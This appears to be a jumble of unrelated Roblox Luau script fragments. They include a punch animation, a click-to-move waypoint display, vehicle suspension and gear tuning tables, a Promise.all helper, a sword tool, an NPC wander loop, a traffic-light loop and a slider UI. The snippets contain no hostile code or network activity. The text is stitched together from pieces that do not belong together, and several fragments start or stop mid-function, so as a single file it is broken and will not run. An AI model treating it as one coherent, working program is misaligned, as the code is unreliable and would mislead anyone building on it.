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--Put this script in game.StarterPlayer.StarterCharacterScripts --Put the punch animation id on the animation inside this script
local humanoid = script.Parent.Humanoid local mouse = game.Players.LocalPlayer:GetMouse() mouse.Button1Down:Connect(function() if script.Parent:FindFirstChildOfClass("Tool") == nil and script.DamagePlayers.Debounce.Value == false then local punchTrack = humanoid:LoadAnimation(script.Animation) punchTrack:Play() script.RemoteEvent:FireServer() wait(script.Cooldown.Value) punchTrack:Stop() end end)
--!nonstrict
local ClickToMoveDisplay = {} local FAILURE_ANIMATION_ID = "rbxassetid://2874840706" local TrailDotIcon = "rbxasset://textures/ui/traildot.png" local EndWaypointIcon = "rbxasset://textures/ui/waypoint.png" local WaypointsAlwaysOnTop = false local WAYPOINT_INCLUDE_FACTOR = 2 local LAST_DOT_DISTANCE = 3 local WAYPOINT_BILLBOARD_SIZE = UDim2.new(0, 1.68 * 25, 0, 2 * 25) local ENDWAYPOINT_SIZE_OFFSET_MIN = Vector2.new(0, 0.5) local ENDWAYPOINT_SIZE_OFFSET_MAX = Vector2.new(0, 1) local FAIL_WAYPOINT_SIZE_OFFSET_CENTER = Vector2.new(0, 0.5) local FAIL_WAYPOINT_SIZE_OFFSET_LEFT = Vector2.new(0.1, 0.5) local FAIL_WAYPOINT_SIZE_OFFSET_RIGHT = Vector2.new(-0.1, 0.5) local FAILURE_TWEEN_LENGTH = 0.125 local FAILURE_TWEEN_COUNT = 4 local TWEEN_WAYPOINT_THRESHOLD = 5 local TRAIL_DOT_PARENT_NAME = "ClickToMoveDisplay" local TrailDotSize = Vector2.new(1.5, 1.5) local TRAIL_DOT_MIN_SCALE = 1 local TRAIL_DOT_MIN_DISTANCE = 10 local TRAIL_DOT_MAX_SCALE = 2.5 local TRAIL_DOT_MAX_DISTANCE = 100 local PlayersService = game:GetService("Players") local TweenService = game:GetService("TweenService") local RunService = game:GetService("RunService") local Workspace = game:GetService("Workspace") local LocalPlayer = PlayersService.LocalPlayer local function CreateWaypointTemplates() local TrailDotTemplate = Instance.new("Part") TrailDotTemplate.Size = Vector3.new(1, 1, 1) TrailDotTemplate.Anchored = true TrailDotTemplate.CanCollide = false TrailDotTemplate.Name = "TrailDot" TrailDotTemplate.Transparency = 1 local TrailDotImage = Instance.new("ImageHandleAdornment") TrailDotImage.Name = "TrailDotImage" TrailDotImage.Size = TrailDotSize TrailDotImage.SizeRelativeOffset = Vector3.new(0, 0, -0.1) TrailDotImage.AlwaysOnTop = WaypointsAlwaysOnTop TrailDotImage.Image = TrailDotIcon TrailDotImage.Adornee = TrailDotTemplate TrailDotImage.Parent = TrailDotTemplate local EndWaypointTemplate = Instance.new("Part") EndWaypointTemplate.Size = Vector3.new(2, 2, 2) EndWaypointTemplate.Anchored = true EndWaypointTemplate.CanCollide = false EndWaypointTemplate.Name = "EndWaypoint" EndWaypointTemplate.Transparency = 1 local EndWaypointImage = Instance.new("ImageHandleAdornment") EndWaypointImage.Name = "TrailDotImage" EndWaypointImage.Size = TrailDotSize EndWaypointImage.SizeRelativeOffset = Vector3.new(0, 0, -0.1) EndWaypointImage.AlwaysOnTop = WaypointsAlwaysOnTop EndWaypointImage.Image = TrailDotIcon EndWaypointImage.Adornee = EndWaypointTemplate EndWaypointImage.Parent = EndWaypointTemplate local EndWaypointBillboard = Instance.new("BillboardGui") EndWaypointBillboard.Name = "EndWaypointBillboard" EndWaypointBillboard.Size = WAYPOINT_BILLBOARD_SIZE EndWaypointBillboard.LightInfluence = 0 EndWaypointBillboard.SizeOffset = ENDWAYPOINT_SIZE_OFFSET_MIN EndWaypointBillboard.AlwaysOnTop = true EndWaypointBillboard.Adornee = EndWaypointTemplate EndWaypointBillboard.Parent = EndWaypointTemplate local EndWaypointImageLabel = Instance.new("ImageLabel") EndWaypointImageLabel.Image = EndWaypointIcon EndWaypointImageLabel.BackgroundTransparency = 1 EndWaypointImageLabel.Size = UDim2.new(1, 0, 1, 0) EndWaypointImageLabel.Parent = EndWaypointBillboard local FailureWaypointTemplate = Instance.new("Part") FailureWaypointTemplate.Size = Vector3.new(2, 2, 2) FailureWaypointTemplate.Anchored = true FailureWaypointTemplate.CanCollide = false FailureWaypointTemplate.Name = "FailureWaypoint" FailureWaypointTemplate.Transparency = 1 local FailureWaypointImage = Instance.new("ImageHandleAdornment") FailureWaypointImage.Name = "TrailDotImage" FailureWaypointImage.Size = TrailDotSize FailureWaypointImage.SizeRelativeOffset = Vector3.new(0, 0, -0.1) FailureWaypointImage.AlwaysOnTop = WaypointsAlwaysOnTop FailureWaypointImage.Image = TrailDotIcon FailureWaypointImage.Adornee = FailureWaypointTemplate FailureWaypointImage.Parent = FailureWaypointTemplate local FailureWaypointBillboard = Instance.new("BillboardGui") FailureWaypointBillboard.Name = "FailureWaypointBillboard" FailureWaypointBillboard.Size = WAYPOINT_BILLBOARD_SIZE FailureWaypointBillboard.LightInfluence = 0 FailureWaypointBillboard.SizeOffset = FAIL_WAYPOINT_SIZE_OFFSET_CENTER FailureWaypointBillboard.AlwaysOnTop = true FailureWaypointBillboard.Adornee = FailureWaypointTemplate FailureWaypointBillboard.Parent = FailureWaypointTemplate local FailureWaypointFrame = Instance.new("Frame") FailureWaypointFrame.BackgroundTransparency = 1 FailureWaypointFrame.Size = UDim2.new(0, 0, 0, 0) FailureWaypointFrame.Position = UDim2.new(0.5, 0, 1, 0) FailureWaypointFrame.Parent = FailureWaypointBillboard local FailureWaypointImageLabel = Instance.new("ImageLabel") FailureWaypointImageLabel.Image = EndWaypointIcon FailureWaypointImageLabel.BackgroundTransparency = 1 FailureWaypointImageLabel.Position = UDim2.new( 0, -WAYPOINT_BILLBOARD_SIZE.X.Offset/2, 0, -WAYPOINT_BILLBOARD_SIZE.Y.Offset ) FailureWaypointImageLabel.Size = WAYPOINT_BILLBOARD_SIZE FailureWaypointImageLabel.Parent = FailureWaypointFrame return TrailDotTemplate, EndWaypointTemplate, FailureWaypointTemplate end local TrailDotTemplate, EndWaypointTemplate, FailureWaypointTemplate = CreateWaypointTemplates() local function getTrailDotParent() local camera = Workspace.CurrentCamera local trailParent = camera:FindFirstChild(TRAIL_DOT_PARENT_NAME) if not trailParent then trailParent = Instance.new("Model") trailParent.Name = TRAIL_DOT_PARENT_NAME trailParent.Parent = camera end return trailParent end local function placePathWaypoint(waypointModel, position: Vector3) local ray = Ray.new(position + Vector3.new(0, 2.5, 0), Vector3.new(0, -10, 0)) local hitPart, hitPoint, hitNormal = Workspace:FindPartOnRayWithIgnoreList( ray, { Workspace.CurrentCamera, LocalPlayer.Character } ) if hitPart then waypointModel.CFrame = CFrame.new(hitPoint, hitPoint + hitNormal) waypointModel.Parent = getTrailDotParent() end end local TrailDot = {} TrailDot.__index = TrailDot function TrailDot:Destroy() self.DisplayModel:Destroy() end function TrailDot:NewDisplayModel(position) local newDisplayModel: Part = TrailDotTemplate:Clone() placePathWaypoint(newDisplayModel, position) return newDisplayModel end function TrailDot.new(position, closestWaypoint) local self = setmetatable({}, TrailDot) self.DisplayModel = self:NewDisplayModel(position) self.ClosestWayPoint = closestWaypoint return self end local EndWaypoint = {} EndWaypoint.__index = EndWaypoint function EndWaypoint:Destroy() self.Destroyed = true self.Tween:Cancel() self.DisplayModel:Destroy() end function EndWaypoint:NewDisplayModel(position) local newDisplayModel: Part = EndWaypointTemplate:Clone() placePathWaypoint(newDisplayModel, position) return newDisplayModel end function EndWaypoint:CreateTween() local tweenInfo = TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, -1, true) local tween = TweenService:Create( self.DisplayModel.EndWaypointBillboard, tweenInfo, { SizeOffset = ENDWAYPOINT_SIZE_OFFSET_MAX } ) tween:Play() return tween end function EndWaypoint:TweenInFrom(originalPosition: Vector3) local currentPositon: Vector3 = self.DisplayModel.Position local studsOffset = originalPosition - currentPositon self.DisplayModel.EndWaypointBillboard.StudsOffset = Vector3.new(0, studsOffset.Y, 0) local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.Out) local tween = TweenService:Create( self.DisplayModel.EndWaypointBillboard, tweenInfo, { StudsOffset = Vector3.new(0, 0, 0) } ) tween:Play() return tween end function EndWaypoint.new(position: Vector3, closestWaypoint: number?, originalPosition: Vector3?) local self = setmetatable({}, EndWaypoint) self.DisplayModel = self:NewDisplayModel(position) self.Destroyed = false if originalPosition and (originalPosition - position).Magnitude > TWEEN_WAYPOINT_THRESHOLD then self.Tween = self:TweenInFrom(originalPosition) coroutine.wrap(function() self.Tween.Completed:Wait() if not self.Destroyed then self.Tween = self:CreateTween() end end)() else self.Tween = self:CreateTween() end self.ClosestWayPoint = closestWaypoint return self end local FailureWaypoint = {} FailureWaypoint.__index = FailureWaypoint function FailureWaypoint:Hide() self.DisplayModel.Parent = nil end function FailureWaypoint:Destroy() self.DisplayModel:Destroy() end function FailureWaypoint:NewDisplayModel(position) local newDisplayModel: Part = FailureWaypointTemplate:Clone() placePathWaypoint(newDisplayModel, position) local ray = Ray.new(position + Vector3.new(0, 2.5, 0), Vector3.new(0, -10, 0)) local hitPart, hitPoint, hitNormal = Workspace:FindPartOnRayWithIgnoreList( ray, { Workspace.CurrentCamera, LocalPlayer.Character } ) if hitPart then newDisplayModel.CFrame = CFrame.new(hitPoint, hitPoint + hitNormal) newDisplayModel.Parent = getTrailDotParent() end return newDisplayModel end function FailureWaypoint:RunFailureTween() wait(FAILURE_TWEEN_LENGTH) -- Delay one tween length betfore starting tweening -- Tween out from center local tweenInfo = TweenInfo.new(FAILURE_TWEEN_LENGTH/2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out) local tweenLeft = TweenService:Create(self.DisplayModel.FailureWaypointBillboard, tweenInfo, { SizeOffset = FAIL_WAYPOINT_SIZE_OFFSET_LEFT }) tweenLeft:Play() local tweenLeftRoation = TweenService:Create(self.DisplayModel.FailureWaypointBillboard.Frame, tweenInfo, { Rotation = 10 }) tweenLeftRoation:Play() tweenLeft.Completed:wait() -- Tween back and forth tweenInfo = TweenInfo.new(FAILURE_TWEEN_LENGTH, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, FAILURE_TWEEN_COUNT - 1, true) local tweenSideToSide = TweenService:Create(self.DisplayModel.FailureWaypointBillboard, tweenInfo, { SizeOffset = FAIL_WAYPOINT_SIZE_OFFSET_RIGHT}) tweenSideToSide:Play() -- Tween flash dark and roate left and right tweenInfo = TweenInfo.new(FAILURE_TWEEN_LENGTH, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, FAILURE_TWEEN_COUNT - 1, true) local tweenFlash = TweenService:Create(self.DisplayModel.FailureWaypointBillboard.Frame.ImageLabel, tweenInfo, { ImageColor3 = Color3.new(0.75, 0.75, 0.75)}) tweenFlash:Play() local tweenRotate = TweenService:Create(self.DisplayModel.FailureWaypointBillboard.Frame, tweenInfo, { Rotation = -10 }) tweenRotate:Play() tweenSideToSide.Completed:wait() -- Tween back to center tweenInfo = TweenInfo.new(FAILURE_TWEEN_LENGTH/2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out) local tweenCenter = TweenService:Create(self.DisplayModel.FailureWaypointBillboard, tweenInfo, { SizeOffset = FAIL_WAYPOINT_SIZE_OFFSET_CENTER }) tweenCenter:Play() local tweenRoation = TweenService:Create(self.DisplayModel.FailureWaypointBillboard.Frame, tweenInfo, { Rotation = 0 }) tweenRoation:Play() tweenCenter.Completed:wait() wait(FAILURE_TWEEN_LENGTH) -- Delay one tween length betfore removing end function FailureWaypoint.new(position) local self = setmetatable({}, FailureWaypoint) self.DisplayModel = self:NewDisplayModel(position) return self end local failureAnimation = Instance.new("Animation") failureAnimation.AnimationId = FAILURE_ANIMATION_ID local lastHumanoid = nil local lastFailureAnimationTrack: AnimationTrack? = nil local function getFailureAnimationTrack(myHumanoid) if myHumanoid == lastHumanoid then return lastFailureAnimationTrack end lastFailureAnimationTrack = myHumanoid:LoadAnimation(failureAnimation) assert(lastFailureAnimationTrack, "") lastFailureAnimationTrack.Priority = Enum.AnimationPriority.Action lastFailureAnimationTrack.Looped = false return lastFailureAnimationTrack end local function findPlayerHumanoid() local character = LocalPlayer.Character if character then return character:FindFirstChildOfClass("Humanoid") end end local function createTrailDots(wayPoints: {PathWaypoint}, originalEndWaypoint: Vector3) local newTrailDots = {} local count = 1 for i = 1, #wayPoints - 1 do local closeToEnd = (wayPoints[i].Position - wayPoints[#wayPoints].Position).Magnitude < LAST_DOT_DISTANCE local includeWaypoint = i % WAYPOINT_INCLUDE_FACTOR == 0 and not closeToEnd if includeWaypoint then local trailDot = TrailDot.new(wayPoints[i].Position, i) newTrailDots[count] = trailDot count = count + 1 end end local newEndWaypoint = EndWaypoint.new(wayPoints[#wayPoints].Position, #wayPoints, originalEndWaypoint) table.insert(newTrailDots, newEndWaypoint) local reversedTrailDots = {} count = 1 for i = #newTrailDots, 1, -1 do reversedTrailDots[count] = newTrailDots[i] count = count + 1 end return reversedTrailDots end local function getTrailDotScale(distanceToCamera: number, defaultSize: Vector2) local rangeLength = TRAIL_DOT_MAX_DISTANCE - TRAIL_DOT_MIN_DISTANCE local inRangePoint = math.clamp(distanceToCamera - TRAIL_DOT_MIN_DISTANCE, 0, rangeLength)/rangeLength local scale = TRAIL_DOT_MIN_SCALE + (TRAIL_DOT_MAX_SCALE - TRAIL_DOT_MIN_SCALE)*inRangePoint return defaultSize * scale end local createPathCount = 0
------ VARIABLES ------
local tele = script.Parent local padIsOneDirectional = tele:WaitForChild("OneWay") local pad1 = tele:WaitForChild("Pad1") local pad2 = tele:WaitForChild("Pad2") local bounce = true
--------STAGE--------
game.Workspace.projection1.Decal.Texture = game.Workspace.Screens.ProjectionL.Value game.Workspace.projection2.Decal.Texture = game.Workspace.Screens.ProjectionR.Value
--//Shifting//-
if key == "6" then carSeat.Wheels.FR.Spring.Stiffness = 9000 carSeat.Wheels.FL.Spring.Stiffness = 9000 elseif key == "5" then carSeat.Wheels.FR.Spring.Stiffness = 3500 carSeat.Wheels.FL.Spring.Stiffness = 3500 end end)
-- Pause the shimmer
local function pauseShimmer() shim:Pause() end
--[[ Stage implementation ]]
local Queue = {} Queue.__index = Queue
--[[ Returns a new promise that: * is resolved when all input promises resolve * is rejected if ANY input promises reject ]]
function Promise._all(traceback, promises, amount) if type(promises) ~= "table" then error(string.format(ERROR_NON_LIST, "Promise.all"), 3) end -- We need to check that each value is a promise here so that we can produce -- a proper error rather than a rejected promise with our error. for i, promise in pairs(promises) do if not Promise.is(promise) then error(string.format(ERROR_NON_PROMISE_IN_LIST, "Promise.all", tostring(i)), 3) end end -- If there are no values then return an already resolved promise. if #promises == 0 or amount == 0 then return Promise.resolve({}) end return Promise._new(traceback, function(resolve, reject, onCancel) -- An array to contain our resolved values from the given promises. local resolvedValues = {} local newPromises = {} -- Keep a count of resolved promises because just checking the resolved -- values length wouldn't account for promises that resolve with nil. local resolvedCount = 0 local rejectedCount = 0 local done = false local function cancel() for _, promise in ipairs(newPromises) do promise:cancel() end end -- Called when a single value is resolved and resolves if all are done. local function resolveOne(i, ...) if done then return end resolvedCount = resolvedCount + 1 if amount == nil then resolvedValues[i] = ... else resolvedValues[resolvedCount] = ... end if resolvedCount >= (amount or #promises) then done = true resolve(resolvedValues) cancel() end end onCancel(cancel) -- We can assume the values inside `promises` are all promises since we -- checked above. for i, promise in ipairs(promises) do newPromises[i] = promise:andThen( function(...) resolveOne(i, ...) end, function(...) rejectedCount = rejectedCount + 1 if amount == nil or #promises - rejectedCount < amount then cancel() done = true reject(...) end end ) end if done then cancel() end end) end
-------- OMG HAX
r = game:service("RunService") local damage = 5 local slash_damage = 8 local lunge_damage = 12 sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = sword SlashSound.Volume = .7 local LungeSound = Instance.new("Sound") LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" LungeSound.Parent = sword LungeSound.Volume = .6 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 function blow(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function lunge() damage = lunge_damage LungeSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Lunge" anim.Parent = Tool force = Instance.new("BodyVelocity") force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80 force.Parent = Tool.Parent.Torso wait(.3) swordOut() wait(.3) force.Parent = nil wait(.5) swordUp() damage = slash_damage end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end function swordAcross() -- parry end Tool.Enabled = true local last_attack = 0 function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end t = r.Stepped:wait() if (t - last_attack < .2) then lunge() else attack() end last_attack = t --wait(.5) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
--force.maxForce = Vector3.new(200,0,200)
gyro.maxTorque = Vector3.new(50000,500000,500000) gyro.cframe = CFrame.fromEulerAnglesXYZ(math.pi/2,math.pi,-math.pi/2+ math.random(-2*math.pi,2*math.pi)) current_look = math.random(-2*math.pi,2*math.pi) math.randomseed(tick()) math.random() function idle() wait(math.random(3,10)) end function lookaround() for i=1,math.random(2,3) do wait(math.random(.5,2)) current_look = current_look + math.random(-math.pi/6,math.pi/6) gyro.cframe = CFrame.fromEulerAnglesXYZ(math.pi/2,math.pi,-math.pi/2+ current_look) end end function walk() for i=1,math.random(2,10) do current_look = current_look + math.random(-math.pi/4,math.pi/4) gyro.cframe = CFrame.fromEulerAnglesXYZ(math.pi/2,math.pi,-math.pi/2+ current_look) wait(math.random(.5,2)) force.velocity = (script.Parent.CFrame * CFrame.fromEulerAnglesXYZ(0,math.pi/2,0)).lookVector * 100 force.maxForce = Vector3.new(160,0,160) wait(math.random(.5,1)) force.maxForce = Vector3.new(0,0,0) wait(math.random(1,1.5)) end end while true do--math.random(0,2*math.pi) wait() local rand = math.random(1,4) if rand == 1 then walk() elseif rand == 2 or rand == 4 then lookaround() else idle() end end
--[=[ @param instance Instance @return RBXScriptConnection Attaches the trove to a Roblox instance. Once this instance is removed from the game (parent or ancestor's parent set to `nil`), the trove will automatically clean up. :::caution Will throw an error if `instance` is not a descendant of the game hierarchy. ::: ]=]
function Trove:AttachToInstance(instance: Instance) assert(instance:IsDescendantOf(game), "Instance is not a descendant of the game hierarchy") return self:Connect(instance.AncestryChanged, function(_child, parent) if not parent then self:Destroy() end end) end
--Insert this script into Workspace, not camera.
game.Players.PlayerAdded:connect(function(p) wait(1) p.CameraMaxZoomDistance = 6 end)
-- Decompiled with the Synapse X Luau decompiler.
return function(p1, p2) local v1 = nil; if type(p1) == "boolean" then v1 = "BoolValue"; elseif type(p1) == "number" then v1 = "NumberValue"; elseif type(p1) == "string" then v1 = "StringValue"; elseif typeof(p1) == "CFrame" then v1 = "CFrameValue"; elseif typeof(p1) == "Color3" then v1 = "Color3Value"; elseif typeof(p1) == "Ray" then v1 = "RayValue"; elseif typeof(p1) == "Vector3" then v1 = "Vector3Value"; elseif typeof(p1) == "Instance" then v1 = "ObjectValue"; end; if not v1 then return print("Value type not supported"); end; local v2 = Instance.new(v1); v2.Value = p1; if p2 then v2.Parent = p2; end; return v2; end;
--CONFIG VARIABLES
local tweenTime = 4 local closeWaitTime = 3 local easingStyle = Enum.EasingStyle.Quad local easingDirection = Enum.EasingDirection.InOut local repeats = 0 local reverse = false local delayTime = 0
--forced walkspeed
function module.force_walkspeed(hum, tim) coroutine.wrap(function() local i = 1 task.delay(tim, function() i = 2 end) while true do hum.WalkSpeed = 3 hum.JumpPower = 1 task.wait() if i == 2 then hum.WalkSpeed = 16 hum.JumpPower = defJump break end end end)() end
--[[Rear]]
-- Tune.RTireProfile = 1.5 -- Tire profile, aggressive or smooth Tune.RProfileHeight = 2 -- Profile height, conforming to tire Tune.RTireCompound = 3 -- The more compounds you have, the harder your tire will get towards the middle, sacrificing grip for wear Tune.RTireFriction = 1.1 -- Your tire's friction in the best conditions.
--[[ Create a new, empty TestPlan. ]]
function TestPlan.new(planArgs) local plan = { children = {}, } if planArgs then for key, value in pairs(planArgs) do plan[key] = value end end return setmetatable(plan, TestPlan) end
--[[while true do for i = 1,v do script.Parent.Rotation = script.Parent.Rotation * 1.05 game:GetService('RunService').RenderStepped:wait() end for i = 1,v do script.Parent.Rotation = script.Parent.Rotation / 1.05 game:GetService('RunService').RenderStepped:wait() end wait(.2) v = v * 1.2 end--]]
i = 1 while true do script.Parent.Rotation = script.Parent.Rotation + 10 game:GetService('RunService').RenderStepped:wait() end
--[[Susupension]]
Tune.SusEnabled = true -- Sets whether suspension is enabled for PGS --Front Suspension Tune.FSusStiffness = 6000 -- Spring Force Tune.FSusDamping = 1 -- Spring Dampening Tune.FAntiRoll = 400 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 1.9 -- Resting Suspension length (in studs) Tune.FPreCompress = .1 -- Pre-compression adds resting length force Tune.FExtensionLim = .4 -- Max Extension Travel (in studs) Tune.FCompressLim = .2 -- Max Compression Travel (in studs) Tune.FSusAngle = 75 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 2 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusStiffness = 6000 -- Spring Force Tune.RSusDamping = 1 -- Spring Dampening Tune.RAntiRoll = 400 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2.1 -- Resting Suspension length (in studs) Tune.RPreCompress = .1 -- Pre-compression adds resting length force Tune.RExtensionLim = .4 -- Max Extension Travel (in studs) Tune.RCompressLim = .2 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 2 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics (PGS ONLY) Tune.SusVisible = false -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Red" -- Suspension Color [BrickColor] Tune.SusCoilCount = 8 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
--================================================== --Setting --==================================================
local Ammo = math.huge --Amount of Ammo to give. Set it to "math.huge" to refill the gun's ammo. local Cooldown = 10 local GunToRefillAmmo = { "Pistol", --Add more gun here if you want }
-- Private Methods
function init(self) local frame = self.Frame local dragger = frame.Dragger local background = frame.Background local axis = self._Axis local maid = self._Maid local spring = self._Spring local dragTracker = Lazy.Classes.Dragger.new(frame) self.DragStart = dragTracker.DragStart self.DragStop = dragTracker.DragStop --maid:Mark(frame) maid:Mark(self._ChangedBind) maid:Mark(self._ClickedBind) maid:Mark(function() dragTracker:Destroy() end) -- Get bounds and background size scaled accordingly for calculations local function setUdim2(a, b) if (axis == "y") then a, b = b, a end return UDim2.new(a, 0, b, 0) end local last = -1 local bPos, bSize local function updateBounds() bPos, bSize = getBounds(self) background.Size = setUdim2(bSize / frame.AbsoluteSize[axis], 1) last = -1 end updateBounds() maid:Mark(frame:GetPropertyChangedSignal("AbsoluteSize"):Connect(updateBounds)) maid:Mark(frame:GetPropertyChangedSignal("AbsolutePosition"):Connect(updateBounds)) maid:Mark(frame:GetPropertyChangedSignal("Parent"):Connect(updateBounds)) -- Move the slider when the xbox moves it local xboxDir = 0 local xboxTick = 0 local xboxSelected = false maid:Mark(frame.SelectionGained:Connect(function() xboxSelected = true end)) maid:Mark(frame.SelectionLost:Connect(function() xboxSelected = false end)) maid:Mark(UIS.InputChanged:Connect(function(input, process) if (process and input.KeyCode == THUMBSTICK) then local pos = input.Position xboxDir = math.abs(pos[axis]) > XBOX_DEADZONE and math.sign(pos[axis]) or 0 end end)) -- Move the slider when we drag it maid:Mark(dragTracker.DragChanged:Connect(function(element, input, delta) if (self.IsActive) then self:Set((input.Position[axis] - bPos) / bSize, false) end end)) -- Move the slider when we click somewhere on the bar maid:Mark(frame.InputBegan:Connect(function(input) if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then local t = (input.Position[axis] - bPos) / bSize self._ClickedBind:Fire(math.clamp(t, 0, 1)) if (self.IsActive) then self:Set(t, self.TweenClick) end end end)) -- position the slider maid:Mark(RUNSERVICE.RenderStepped:Connect(function(dt) if (xboxSelected) then local t = tick() if (self.Interval <= 0) then self:Set(self:Get() + xboxDir*XBOX_STEP*dt*60) elseif (t - xboxTick > DEBOUNCE_TICK) then xboxTick = t self:Set(self:Get() + self.Interval*xboxDir) end end spring:Update(dt) local x = spring.x if (x ~= last) then local scalePos = (bPos + (x * bSize) - frame.AbsolutePosition[axis]) / frame.AbsoluteSize[axis] dragger.Position = setUdim2(scalePos, 0.5) self._ChangedBind:Fire(self:Get()) last = x end end)) end function getBounds(self) local frame = self.Frame local dragger = frame.Dragger local axis = self._Axis local pos = frame.AbsolutePosition[axis] + dragger.AbsoluteSize[axis]/2 local size = frame.AbsoluteSize[axis] - dragger.AbsoluteSize[axis] return pos, size end
-- /// Variables
local mouse = game.Players.LocalPlayer:GetMouse() local frame = script.Parent.Frame
--[[Transmission]]
Tune.TransModes = {"Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 3.97 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.42 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.75 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.38 , --[[ 3 ]] 1.72 , --[[ 4 ]] 1.34 , --[[ 5 ]] 1.11 , --[[ 6 ]] .95 , --[[ 7 ]] .84 , } Tune.FDMult = 1 -- -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
---Green Script---
script.Parent.Red.Transparency = 0.9 script.Parent.Yel.Transparency = 0.9 script.Parent.Gre.Transparency = 0.9 while true do script.Parent.Red.Transparency = 0 script.Parent.Yel.Transparency = 0 script.Parent.Gre.Transparency = 0.9 wait (1) script.Parent.Red.Transparency = 0.9 script.Parent.Yel.Transparency = 0.9 script.Parent.Gre.Transparency = 0 wait (30) script.Parent.Red.Transparency = 0.9 script.Parent.Yel.Transparency = 0 script.Parent.Gre.Transparency = 0.9 wait (4) script.Parent.Red.Transparency = 0 script.Parent.Yel.Transparency = 0.9 script.Parent.Gre.Transparency = 0.9 wait (3) script.Parent.Red.Transparency = 0 script.Parent.Yel.Transparency = 0.9 script.Parent.Gre.Transparency = 0.9 wait (1) script.Parent.Red.Transparency = 0 script.Parent.Yel.Transparency = 0.9 script.Parent.Gre.Transparency = 0.9 wait (30) script.Parent.Red.Transparency = 0 script.Parent.Yel.Transparency = 0.9 script.Parent.Gre.Transparency = 0.9 wait (4) script.Parent.Red.Transparency = 0 script.Parent.Yel.Transparency = 0.9 script.Parent.Gre.Transparency = 0.9 wait (3) end
--- Recalculate the window height
